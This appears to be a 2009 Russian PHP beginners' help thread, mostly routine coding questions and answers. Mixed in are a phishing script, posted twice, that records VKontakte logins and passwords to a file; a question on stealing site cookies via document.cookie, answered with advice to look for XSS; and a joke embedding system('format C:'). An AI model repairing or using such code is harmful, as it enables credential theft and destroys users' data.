Просмотр полной версии : [php] Новичкам: задаем вопросы
TANZWUT, После коннекта к дб попробуй:
mysql_query("set character_set_client='cp1251'");
mysql_query ("set character_set_results='cp1251'");
mysql_query ("set collation_connection='cp1251_general_ci'");
Здравствуйте, подскажие пожалуйста как решить проблему:
При использовании команды echo возникают некоторые трудности, а именно:
Результатом вот этого кода:
<?
echo '<title>Заголовок</title>';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />';
echo '<meta name="description" content="Описание" />';
?>
Является:
<title>Заголовок</title><meta name="keywords" content="ключ1, ключ2, ключ 3." /><meta name="description" content="Описание" />
Т.е. всё отображается в одну строчку, как с этим бороться?
<?
echo "<title>Заголовок</title>\n";
echo "<meta name=\"keywords\" content=\"ключ1, ключ2, ключ 3.\" />\n";
echo "<meta name=\"description\" content=\"Описание\" />\n";
?>
Хотя смысл?
mailbrush
11.04.2009, 17:00
Ага, смысла нету. Dimi4 если строчек будет 100, везде чтоли эхо ставить?
<?
echo "<title>Заголовок</title>
<meta name=\"keywords\" content=\"ключ1, ключ2, ключ 3.\" />
<meta name=\"description\" content=\"Описание\" />";
?>
Здравствуйте, подскажие пожалуйста как решить проблему:
При использовании команды echo возникают некоторые трудности, а именно:
Результатом вот этого кода:
<?
echo '<title>Заголовок</title>';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />';
echo '<meta name="description" content="Описание" />';
?>
Является:
<title>Заголовок</title><meta name="keywords" content="ключ1, ключ2, ключ 3." /><meta name="description" content="Описание" />
Т.е. всё отображается в одну строчку, как с этим бороться?
Делай так и все будет ок :)
<?
echo '<title>Заголовок</title>\n';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />\n';
echo '<meta name="description" content="Описание" />\n';
?>
awdrg, ок всё не будет, т.к. \n в одинарных кавычках не заменится на символ перевода строки.
Как сделать ссылки по пранслиту?
Допустим создаю новость "лалал"
А ссылка на неё будет site.ru/news/lalal
Это перевод в транслит и запись в базу?
И видел часто такое используют в защите от SQL-inj то там редирект пишется в хтакцесс похоже...
Помогите как такое реализовать...чтоб было типо фаил не найден "404" и не ошибка запроса к скуле...
Но не надо говорить что на ошибку от базы отвечать ошибкой 404
А помоему таг:
Ипашиш хтацес,с редиректом на /sql.php?(.*)
Он принимает,типо ?lala, транслитит обратно,делает запрос в БД,выдает новость.
ДАлее,если num_rows == 0, include('./tpl/404.html'); ну или по другому,вариантов массо
Как позаимствовать с сайта информер на свой?
Очень интересует http://www.liveinternet.ru/ Программа передач и Погода.
А чем отличаются system() и passthru()???
mailbrush
12.04.2009, 09:56
Как позаимствовать с сайта информер на свой? Очень интересует http://www.liveinternet.ru/ Программа передач и Погода. file_get_contents && preg_match
А чем отличаются system() и passthru()??? passthru() только выполняет запрос. А system() выводит результат
laedafess
12.04.2009, 10:24
Только что проверил. И system() и passthru() выводят результат. Или у меня php неправильный=(
А вот exec() и shell_exec() не выводят результат, если их не попросить.
Только что проверил. И system() и passthru() выводят результат. Или у меня php неправильный=(
Нет. PHP правильный)
Вызов system() пытается автоматически очистить буфер вывода web-сервера
после каждой строчки вывода, если PHP работает как серверный модуль.
Возвращает последнюю строку командного вывода при успехе, FALSE при неудаче.
Если нужно выполнить команду и передать все данные из команды обратно без интерференции, юзай passthru(),
которая возвращает полностью весь вывод и может использоваться для отображения бинарных данных (картинки например).
mailbrush
12.04.2009, 10:35
хз, пхп.нет так объясняет...
хз, пхп.нет так объясняет...
Ну он наверное просто подставляет return_var
сори что вопрос не туда пишу мб
сколько будет стоить скрипт чтобы он отправлял каптчу на антикапчу ком? в игре нужно делать действие - ввдоишь капчу жмёшь энтэр :)
ps: через игру zhuki.mail.ru
$title = 1;
$mess = 1;
// $to - кому отправляем
$to = 'byrger@bk.ru';
// $from - от кого
$from='test@test,ru';
// функция, которая отправляет наше письмо.
mail($to, $title, $mess, 'From:'.$from);
Возможно ли отправить письмо без отправителя?
Точнее хостинг мне не предоставил мыло...
Не знаю как отправить ? :confused:
Pashkela
12.04.2009, 19:05
в $from ты и так можешь писать что угодно, хоть fsb@izba.ru
Anderson55
12.04.2009, 20:39
вот взял книгу мэтта зандстры php за 24 часа.
тм подробно описано как поставить ее на unix. как поставить этот интерпретатор php на винду?надо ли ставить сервер или апач.
короч подскажите чо да как!буду очень признателен.
сразу скажу денвер советовать не надо-учусь именно по этому учебнику и отходить от него бы не хотелось.
под вин
те понадобится сам php под вин
сервер апатч под вин
если будешь юзать базы то и сервер баз данных mysql под вин
если ты собрался учится по той книжке а там апач то забудь про IIS ... ваще про него забудь
есть готовые сборки полноценые (не денвер)
ну а можешь сам ставить как описано в книжке настраивать )))
без заморотов php ставится как модуль...
пробелемы могут возникать только с подкгружаеммыми dll (расширения) но все рещают полные пути
Pashkela
12.04.2009, 21:21
Да, но в итоге все-равно поставь денвер и не парь мозг:)
Люди,чем закоден данный скрипт,и закоден ли ? (donate.php) Проверил - это не Zend.Вначале идёт PNG.Смахивает на какой-то вывод графического файла.
http://file.qip.ru/file/83507053/29d1d9c9/donate.html?
.:EnoT:.
12.04.2009, 22:35
Омг, ничем он не закодирован, это исходный код изображения
Все доброго дня\утра\ночи
Возникла следующай проблема есть текст вида лог;пасс как из него получить только логи (только пассы). Заранее спасибо.
list($login,$pass) = explode(';',$str);
echo $login.';'.$pass;
2m0Hze
Спасиб но немного не то, у меня текстовый файл допустим на сто записей, применяя этот в переменную $login попадает только первая.
если просто делать
$arr=explode(";",$str);
то получается так что первый логин выводится нормально, а ко второй записи прикрепляется значение пасса и только потом логин т.е. примерно так
login1
pass1 login2
pass2 login3
и т.д.
вот собсно и суть проблемы.
Pashkela
13.04.2009, 01:00
Все доброго дня\утра\ночи
Возникла следующай проблема есть текст вида лог;пасс как из него получить только логи (только пассы). Заранее спасибо.
пример файла исходника приведи, такой:
логин;пасс
логин;пасс
логин;пасс
логин;пасс
или такой:
логин;пасс логин;пасс логин;пасс логин;пасс логин;пасс
или еще какой вычурный. И скажи конечную цель, потому что логин без пароля явно нахрен не уперся
Суть проблемы у него. Вопросы задавай нормально. И скажи еще, я не прав:)
.:EnoT:.
13.04.2009, 01:07
Gin
Сделай например через функцию обратного вызова
<?php
function exploder($file) {
return explode(';', $file, 2);
}
$file = file('file.txt');
$accounts = array_map('exploder', $file);
print_r($accounts);
?>
ViP-K1LLeR
13.04.2009, 01:32
Есть двухмерный символьный массив ( $a[$i][$j] ) такого вида:
_____________________________________________
_____________________________________________
_______________________________________##____
__####________________________####____###____
_##__##______________________##__##__#_##____
_____##_____________#_______##____##___##____
__####______________#_____________##___##____
_____##____####_____#____________##____##____
_____##_______##____#_###_______##_____##____
_##__##____#####____##___#_____##____######__
__####____##__##____#____#____##_____________
__________##__##____#____#___##______________
___________#####____#____#__########_________
____________________##___#___________________
____________________#_###____________________
_____________________________________________
_____________________________________________
_____________________________________________
Нужно написать функцию:
Входящие данные - этот двумерный массив
Возвращаемые данные - трехмерный массив, содержащий "символы" из входящего массива, ограниченные крайними знаками #. Выделение "символов" должно происходить, основываясь на полностью пустых(состоящих из знаков "_") столбцах, а потом на полностью пустых строках.
Т. е результат должен быть таким:
$b[0][$i][$j]:
_####_
##__##
____##
_####_
____##
____##
##__##
_####_
$b[1][$i][$j]:
_####_
____##
_#####
##__##
##__##
_#####
и.т.д
2Pashkela
да вид такой
логин;пасс
логин;пасс
логин;пасс
...
2.:EnoT:.
Спасибо за код но история повторяется, не отрезает он пассы, в конечном итоге опять выводится
логин
пасс логин
пасс логин ...
.:EnoT:. а зачем лимит 2? тогда уж ... 1 если ставить
Gin всё привильно результатом будет
$accounts[0][0] - логин
$accounts[0][1] - пасс ... и т.д
2Doom123
Спасиб щас проверю запускал просто через foreach не подумал что будет
$accounts[0][0] - логин
$accounts[0][1] - пасс ... и т.д
Щас протестирую
Pashkela
13.04.2009, 11:05
Gin и Doom123:
Вообще-то код от Енота полностью работабельный, если файл такого вида:
pass1;login1
pass2;login2
pass3;login3
то результат должен выглядеть так:
http://s41.radikal.ru/i091/0904/c2/e2ea7646b670.jpg
так что проверьте исходные условия
Как реализовывается скрытие путай до картинок через PHP+SQl
Я понимаю что в SQL хранится код картинки и путь до неё...
Но как на транице вывести эту картинку...
<img src="/images.php?picture=1111">
images.php делает запрос в бд и достаёт путь до картинки...
А как вывести?
На 1 вопрос ответил сам:
header("Content-type: image");
include("images/img.jpg");
А ещё нужно реализовать рандомный выбор файла из папки...
Я думаю надо узнать сколько файлов в папке и добавить это количество в рандомайзер...
А затем открыть нужный по счёту фаил...
Но как их посчитать?
подскажите, вот авторизацию проходит нормально....после нужно открыть страницу другую с куками авторизированными..но не открывает ничего....просто как будто просто авторизировался
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
preg_match_all('~Set-Cookie: ([^\r\n]*)[\r\n]~i',$result1,$mass);
$all_cookie_string = implode(" ", $mass[1]);
$PostData = 'http://site.ru/&login='.$login.'&pwd='.$password;
$ref = 'http://site.ru/';
$ch=curl_init ("http://site.ru/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch);
$ch2=curl_init('http://site.ru/нужная_страница.html');
curl_setopt($ch2, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch2);
curl_close ($ch);
Pashkela
13.04.2009, 14:39
потому что и во второй раз не надо забывать про HEADER, REFERER и прочие атрибуты
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
preg_match_all('~Set-Cookie: ([^\r\n]*)[\r\n]~i',$result1,$mass);
$all_cookie_string = implode(" ", $mass[1]);
$PostData = 'http://site.ru/&login='.$login.'&pwd='.$password;
$ref = 'http://site.ru/';
$ch=curl_init ("http://site.ru/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch);
$ch2=curl_init('http://site.ru/нужная_страница.html');
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_USERAGENT, $ua);
curl_setopt($ch2, CURLOPT_REFERER, $ref);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch2, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch2);
curl_close ($ch);
всеровно только первое выполняется...
Pashkela
13.04.2009, 15:26
после первой curl_exec ($ch);
curl_close($ch);
забыл поставить
Здравствуйте!
Подскажите пожалуйста как используя socket получить исходный код нужной страницы?
CURL не подходит и получение кода страницы через обычные функции php тоже...
Заранее благодарен! ;)
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов
laedafess
13.04.2009, 15:48
Здравствуйте!
Подскажите пожалуйста как используя socket получить исходный код нужной страницы?
CURL не подходит и получение кода страницы через обычные функции php тоже...
Заранее благодарен! ;)
<?
$s=fsockopen("forum.antichat.ru",80);
fputs($s,"GET / HTTP/1.1\r\nHost: forum.antichat.ru\r\n\r\n");
while (!feof($s))
echo fgets($s);
?>
<?
$s=fsockopen("forum.antichat.ru",80);
fputs($s,"GET / HTTP/1.1\r\nHost: forum.antichat.ru\r\n\r\n");
while (!feof($s))
echo fgets($s);
?>
Я делаю вот так:
$key = "keyword";
$ghost = "www.google.com";
$goog = "http://www.google.com/search?hl=en&num=100&q=$key";
$s=fsockopen("$ghost",80);
fputs($s,"GET / HTTP/1.1\r\nHost: $goog\r\n\r\n");
while (!feof($s))
echo fgets($s);
Но в ответ Я получаю:
302 Moved
laedafess
13.04.2009, 16:20
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов
<?
set_time_limit(0);
$file=fopen("111.txt","w+");
for($a=0;$a<10;$a++)
for($b=0;$b<10;$b++)
for($c=0;$c<10;$c++)
for($d=0;$d<10;$d++)
for($e=0;$e<10;$e++)
for($f=0;$f<10;$f++)
for($g=0;$g<10;$g++)
for($h=0;$h<10;$h++)
for($j=0;$j<10;$j++)
for($k=0;$k<10;$k++)
fputs($file,$a.$b.$c.$d.$e.$f.$g.$h.$j.$k."\r\n");
?>
думал я думал и хз как это организовать адекватно :D
Но в ответ Я получаю:
302 Moved
<?
$key = "keyword";
$ghost = "www.google.com";
$goog = "http://www.google.com/search?hl=en&num=100&q=$key";
$s=fsockopen($ghost,80);
fputs($s,"GET $goog HTTP/1.1\r\nHost: $ghost\r\n\r\n");
while (!feof($s))
echo fgets($s);
?>
+ http://ru.wikipedia.org/wiki/HTTP#GET
Pashkela
13.04.2009, 16:22
<?php
// Парсер url после выдачи гугла по запросу
$handler=fopen('log.txt','w'); // если не хотим терять старые данные - то "a+"
$limit = 0;
$zapros = "antichat"; // Наш запрос для поиска
$page_start = 0; // Стартовая страница из расчета 100 результатов выдачи на страницу
$page_end = 200; // Последняя страница из расчета 100 результатов выдачи на страницу
function parse_serp($engine, $query, $limit)
{
if ($limit<100) {$request = 'http://www.google.com/ie?hl=ru&num=100&start=' . $limit. '&lr=&q='.urlencode(trim($query));}
if ($limit>=100) {$request = 'http://www.google.com/ie?q=' . urlencode(trim($query)) . '&num=100&hl=ru&lr=&start=' . $limit . '&sa=N';}
$pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU';
$result = file_get_contents($request);
if(preg_match_all($pattern, $result, $matches))
{
for ($i=0; $i<count($matches[0]); $i++)
{
$link = $matches[2][$i];
$serp[] = $link;
}
}
return $serp;
}
for ($i=$page_start;$i<=$page_end;$i++)
{
$result = parse_serp("google", $zapros, $i);
$log = implode("\r\n",$result);
if($handler) {fwrite($handler,$log);}
$i=$i+100;
if ($i>100) {$i=$i-1;}
}
fclose($handler);
echo "Все данные были сохранены в log.txt";
?>
Pashkela
13.04.2009, 16:31
<?
set_time_limit(0);
$file=fopen("111.txt","w+");
for($a=0;$a<10;$a++)
for($b=0;$b<10;$b++)
for($c=0;$c<10;$c++)
for($d=0;$d<10;$d++)
for($e=0;$e<10;$e++)
for($f=0;$f<10;$f++)
for($g=0;$g<10;$g++)
for($h=0;$h<10;$h++)
for($j=0;$j<10;$j++)
for($k=0;$k<10;$k++)
fputs($file,$a.$b.$c.$d.$e.$f.$g.$h.$j.$k."\r\n");
?>
думал я думал и хз как это организовать адекватно :D
)))
<?php
While(strlen($a)<8) $a = rand(0,99999999);
echo $a;
?>
Сообщение от Byrger
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов
Вот так:
<?php
echo sprintf("%08d", rand(0,99999999));
?>
2laedafess - О_о
Как сделать чтоб такая конструкция работала?
echo "$_POST['white['$key']']";
Krist_ALL
13.04.2009, 20:44
Вот так echo "$_POST['white[$key]']";
вообщем нужно сделать как на вроде новых версиях булки , привиев картинки , что бы минимизированные изображение высвечивалось , а при клике открывалось в полный екран
надо для одной конкретной статической картинки
Скажите пожалуйста, можно ли сделать чтобы при переходе по определенной ссылке (любой) куки сайта, с которого совершался переход, сохранялись в текстовый файл на сервере хоста? Если можно приведите реализацию плз, буду благодарен =)
Как я понимаю должно быть что то вроде
http://blala.ru/one.php?two=document.cookie
Pashkela
13.04.2009, 23:36
Если сайт твой - да, не твой - только поиск XSS тебе поможет
mailbrush
13.04.2009, 23:52
Да пускай и его - всёравно не получиться. Жаба не имеет доступа к файловой системе.
Да пускай и его - всёравно не получиться. Жаба не имеет доступа к файловой системе.
Жаба нет, но можно Жабой передавать куки на PHP скрипт который имеет доступ к фаловой системе.
awdrg: если сайт не твой, ищи переменные выводимые на экран и не проверяемые на спецсимволы.
вообщем нужно сделать как на вроде новых версиях булки , привиев картинки , что бы минимизированные изображение высвечивалось , а при клике открывалось в полный екран
надо для одной конкретной статической картинки
Ну сделай в любом фоторедакторе, ведь для одной картинки-то, нах напрягать php тогда?
И в коде страницы пишешь так:
<a href="bigfoto.jpg"><img src="smallfoto.jpg"></a>
Привет я пишу скрипт для скрытия путей картинок через БД
И у меня такая конструкция инклуди картинки
header("Content-type: image/jpg");
include("images/works/a.jpg");
Картинку 93*79 3,6кб выводит норм
А вот 1024*1500 166кб не хочет выводить....
Просто нет картинки как будьто....[Изображение]
(Отвечаю сам на вопрос)
Сделал:
header("Content-type: image/jpg");
echo file_get_contents("images/works/adenki2.jpg");
Есть цикл который прокручивает таблицу в БД
Как сделать чтоб он вывел последние 4 результата из БД
Ну я имёю ввиду что в БД ИД от 1 до 24 допустим...
Надо вывести только 4 последних вот так 24 23 22 21
Есть 1 мысль хто прокрутить БД снизу вверх и по условию только 4 раза но как?
Может отсортировать массив как нужно и все?
Если чесно я не помню функцию сортировки,но помоему чтото врое rsort
Может отсортировать массив как нужно и все?
Если чесно я не помню функцию сортировки,но помоему чтото врое rsort
Warning: rsort() expects parameter 1 to be array, boolean given in
Функция такая есть
Передаю я массив который приходит от БД
а почитать на php.net никак :(
Пример работы
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
reset($fruits);
while (list($key, $val) = each($fruits)) {
echo "$key = $val
";
}
?>
Смотри сюда,и другие функции,их около 4-6.
а почитать на php.net никак :(
Пример работы
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
reset($fruits);
while (list($key, $val) = each($fruits)) {
echo "$key = $val
";
}
?>
Смотри сюда,и другие функции,их около 4-6.
Не правильно сортирует.....
Сортируются данные в массиве...
А мне надо прсото таблицу прокрутить задом наперёд...тоесть снизу вверх..
и нельзя обварится к массиву по ключу, только по индексу
Дык я не понял тебя значет)
А попробуй так,все даннные из Бд в масив,темдже fetch_assoc и шанманить.
Byrger шамань с ORDER BY ASC/DESC
Ну я имёю ввиду что в БД ИД от 1 до 24 допустим...
Надо вывести только 4 последних вот так 24 23 22 21
SELECT * FROM table ORDER BY id DESC LIMIT 4
wildshaman
14.04.2009, 17:28
Не правильно сортирует.....
Сортируются данные в массиве...
А мне надо прсото таблицу прокрутить задом наперёд...тоесть снизу вверх..
и нельзя обварится к массиву по ключу, только по индексу
selet column_name from table_name order by id Desc (ну ли ASC, не помню) limit 0,4
heretic1990
14.04.2009, 17:41
вобщем дело такое:
есть файл , в нём допустим такое содержание:
34134
76353
fghfhgfj
fjd34
и т.д.
надо скрипт которай откроет этот файл, и каждую строчку по очереди запишит в файл так: слово;его md5 hash
как сделать?
heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?
heretic1990
14.04.2009, 17:49
heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?
мне пример скрипта надо!
<?php
$file=file('file.txt');
$fp=fopen("newfile.txt","w+");
for($i=0;$i<count($file);$i++)
{
$md5=md5($file[$i]);
fputs($fp,"$file[$i];$md5\n");
}
fclose($fp);
?>
Вроде этого.(Не тестил)
<?php
foreach (file('a.txt') as $pwd) $arr[] = trim($pwd).';'.md5(trim($pwd));
fwrite(fopen('a.txt','w'),implode("\n",$arr));
?>
heretic1990
14.04.2009, 18:17
159932, то что надо, а fatalo, твой скрипт почему-то всё с новой строки записывает.
всем спасибо за внимание. всем плюсы)))
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.
я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.
Здравствуйте,нужно получить имя пользователя в joomla,в документации написано
Как получить доступ к имени текущего пользователя?
global $my;
//$my->username - логин
//$my->name - имя, указанное при регистрации
//$my->id - идентификатор юзера, из таблицы #__users
var_dump($my);
Надеюсь на вашу помощь
какбэ непонятно что ты хочешь
получить имя юзера под которым ты залогинен - $my->username
какого то определённого юзера - select username from jos_users
для какой цели тебе это нужно?
судя по документации - имя залогиненого юзера
я конечно пшп не знаю и двиг джумлы не изучал, но наверно переменная $mu->username получит данные из бд jos_users в случае если пользователь зашёл в систему
echo $my->username не катит?
сори , немного пьян мб не понимаю чего
Нужно получить имя|логин юзера,который залогинен в данный момент
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
Не могу понять в чем проблема пишу скрипт фека!
<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
$login = $_POST['login']; // Логин
$pass = $_POST['passwd']; // Пароль
$today = date("m.d.y");
$hour = date("H:i:s");
$u = strtolower($login)
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
echo "http://***.com/login.html";$err = "yes";
}
if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) {
echo "http://***.com/login.html";
$err = "yes";
}if ($err == "") {
$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
} }
?>
Нужно получить имя|логин юзера,который залогинен в данный момент
для 1.5
$user =& JFactory::getUser();
$user->get('username')
Pashkela
15.04.2009, 04:11
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.
я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.
Способ дебильный, но примерно так:
<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
// Полный абсолютный путь до директории, в конце слеш не нужен
$path = '/home/www/bla-bla/http/s1';
$filename = 'logfile.txt';
function fold($rootDir, $allData=array()) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
preg_match('|\/(.*)\/|',$path,$res);
$allData[] = $res[0];
}elseif(is_dir($path) && is_readable($path)) {
$allData = fold($path, $allData);
}
}
}
return $allData;
}
$folders = fold($path);
$count = count($folders);
for ($i=0;$i<$count;$i++) {
$handle = fopen($folders[$i] . $filename, "r");
$s = fread($handle, filesize($folders[$i] . $filename));
fclose($handle);
echo "File: " . $folders[$i] . $filename . "\n";
echo "Content: " . $s . "\n";
}
?>
</pre>
<?php
$http="http://localhost/forum/index.php?act=Login&CODE=01";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$http);
$data = 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// curl_setopt($curl, CURLOPT_COOKIE,$cookie);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl,CURLOPT_MAXREDIRS,2);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>
как пройти это что б сохранить данные сессии
<p>You are now logged in as: user<br /><br />Please wait
while we transfer you...</p>
<p class="redirectfoot">(<a href="http://localhost/forum
/index.php?amp;">Or click here if you do not
wish to wait</a>)</p>
/*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a>
*/
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
нет,там такого нет,пробовал также,но не получилось
для 1.5
$user =& JFactory::getUser();
$user->get('username')
Fatal error: Class 'JFactory' not found
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
Pashkela
15.04.2009, 13:04
Fatal error: Class 'JFactory' not found
Возьми англо-русский словарь и переведи
laedafess
15.04.2009, 13:25
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>
КоД не рабоатет в чем Трабла!подскажите!
<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
$login = $_POST['login']; // Логин
$pass = $_POST['passwd']; // Пароль
$today = date("m.d.y");
$hour = date("H:i:s");
$u = strtolower($login)
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
echo "http://***.com/login.html";$err = "yes";
}
if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) {
echo "http://***.com/login.html";
$err = "yes";
}if ($err == "") {
$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
} }
?>
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>
Чёт не то произошло пришлось винду переустановать...
= ( видимо вирусы
А если серьёзно то я загружаю шаблоны с помощью eval() вот почему и спрашиваю о такой проблеме...
Так как скрипт просто выводит инфу...
Есть строка, например, "456564321", нужно после третьего символа поставить точку, есть мысли как это все изврщенно сдлеать, но может кто подскажет как разумней.
Спасибо :).
$stroka = "456.564321"; - так ? :D
или
$stroka = substr($stroka,0,3).'.'.substr($stroka,3);
Да, именно такие мысли и были))), но всеравно спасибо, думал может функция есть :-).
wildshaman
15.04.2009, 18:05
eD']Да, именно такие мысли и были))), но всеравно спасибо, думал может функция есть :-).
Дык а substr - что?)
Ошибку пишет, причем я помню давным давно такой баг у меня был как испраивл его не помню
ошибка:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 62
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 72
вобщем вначале стр перед html стоит
<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>
в середине стр стоит только этот код
<?php
$result=mysql_query("SELECT id,title,desc,date FROM news",$db);
$myrow=mysql_fetch_array($result);
do
{
printf("<div class='photo'><img src='images/photo.jpg' alt='' /></div>
<div class='news_text'>
<a href='%s'><b>%s</b></a><br />
<span>%s</span><br />
%s
<a href='#'><img src='images/arrow1.jpg' alt='' /></a>",$myrow["id"],$myrow["title"],$myrow["date"],$myrow["desc"]);
}
while ($myrow=mysql_fetch_array($result));
?>
не могу догнать где ошибка тут :(
erihtoney
16.04.2009, 00:28
29822
Имя столбца,а именно desс, рассматриваются как команда sql,это зарезервированное слово,используйте другое название.
Полный список зарезервированных слов можете посмотреть здесь (http://www.mysql.ru/docs/man/Reserved_words.html)
Dr.Frank
16.04.2009, 13:27
можно еще desc взять в "тильды" - `desc` - тоже проканает.
777DEMYAN777
16.04.2009, 14:01
Поставил движок и чужую базу, всё настроил, захожу под логином админа, а мне выдаёт ошибку вида:
Warning: Invalid argument supplied for foreach() in /var/www/web27/web/main.php on line 3 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /var/www/web27/web/main.php:3) in /var/www/web27/web/main.php on line 41
Что же делать???
Вторая ошибка говори о том,что перед стартом сессии,ты чтото выводил на экран уже.Ставь старрт сессий в начало скрипта.
А первая,о том что в фореач попал ннехороший массив,скорее всего при запросе к БД чтото не так.
Пасс хоть верный от Бд,а таблицы есть?
777DEMYAN777
16.04.2009, 14:09
пасс верный, и таблицы есть! Там что то с сессиями
Там же две ошибки.
Я тебе говорю,session_start(); ставь в начало документа, и ничего до этого не выводи.
erihtoney - спасибо помогло
но еще ошибка оказывается в том к прмиеру в табюлице 1 буквой ошибся я так изза этой буквы тоже работать не может =(
эх надо будет внимательней быть а не сидеть до поздна php начинать учить =)
noooob'ik
16.04.2009, 17:45
привет. рябята, дайте плз описание масива $_FILES...
пытаюсь на своём "сайте" сдетать закачку файлов... а незнание этого масива, сильно усложняет этот процесс))
http://ru.php.net/manual/en/reserved.variables.files.php
вниз пролистай
